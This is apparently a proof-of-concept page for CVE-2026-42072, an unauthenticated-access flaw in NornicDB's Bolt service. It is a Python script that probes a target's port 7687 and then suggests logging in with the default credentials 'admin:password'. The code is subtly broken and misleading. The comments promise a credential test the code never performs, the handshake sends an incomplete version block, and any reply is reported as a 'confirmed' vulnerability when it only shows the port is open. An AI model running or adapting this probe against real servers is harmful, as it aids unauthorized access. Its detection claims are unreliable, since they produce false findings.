CVE-2026-42072 NornicDB Bolt服务未授权访问漏洞

# PoC for CVE-2026-42072: NornicDB Unauthenticated Access # This script checks if the target is vulnerable by attempting to connect # to the Bolt service using default credentials. import socket import sys def check_vulnerability(target_ip, port=7687): print(f"[*] Checking {target_ip}:{port} for CVE-2026-42072...") try: # Attempt to establish a TCP connection to the Bolt port sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, port)) # Basic Bolt protocol handshake (Magic bytes) # 0x60 0x60 0xB0 0x17 are the Bolt protocol handshake bytes handshake = b"\x60\x60\xB0\x17" # Supported versions (0, 0, 0, 0) for any version handshake += b"\x00\x00\x00\x00" sock.sendall(handshake) response = sock.recv(4) if response: print("[+] Bolt service is accessible!") print("[+] Server responded to handshake.") print("[!] Vulnerability Confirmed: Service is exposed on the network.") print("[!] Next Step: Attempt authentication with default 'admin:password'.") return True else: print("[-] Service did not respond to handshake.") return False except socket.timeout: print("[-] Connection timed out. Service may be down or filtered.") return False except ConnectionRefusedError: print("[-] Connection refused. Port may be closed.") return False except Exception as e: print(f"[-] An error occurred: {e}") return False finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") sys.exit(1) target = sys.argv[1] check_vulnerability(target)